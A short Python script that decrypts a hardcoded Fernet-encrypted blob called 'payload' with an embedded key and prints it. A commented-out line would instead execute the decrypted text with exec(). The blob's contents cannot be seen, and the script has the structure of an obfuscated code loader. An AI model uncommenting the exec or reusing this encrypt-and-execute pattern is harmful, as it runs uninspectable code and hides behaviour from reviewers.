16 lines
639 B
Python
16 lines
639 B
Python
|
#!/usr/bin/env nix-shell
|
||
|
#!nix-shell -i python3 -p python3 python3Packages.cryptography
|
||
|
|
||
|
import base64
|
||
|
from cryptography.fernet import Fernet
|
||
|
|
||
|
payload = b'gAAAAABkzWGWvEp8gLI9AcIn5o-ahDUwkTvM6EwF7YYMZlE-_Gf9rcNYjxIgX4b0ltY6bcxKarib2ds6POclRwCwhsRb1LOXVt4Q3ePtMY4BmHFFZlIHLk05CjwigT7hiI9p3sH9e7Cpk1uO90xbHbuy-mfi3nkmn411aBgwxyWpJvykpkuBIG_nty6zbox3UhbB85TOis0TgM0zG4ht0-GUW4wTq2_5-wkw3kV1ZAisLJHzF-Z9oLMmwFZU0UCAcHaBTGDF5BnVLmUeCGTgzVLSNn6BmB61Yg=='
|
||
|
|
||
|
key_str = 'correctstaplecorrectstaplecorrec'
|
||
|
key_base64 = base64.b64encode(key_str.encode())
|
||
|
f = Fernet(key_base64)
|
||
|
plain = f.decrypt(payload)
|
||
|
|
||
|
print(plain.decode())
|
||
|
# exec(plain.decode())
|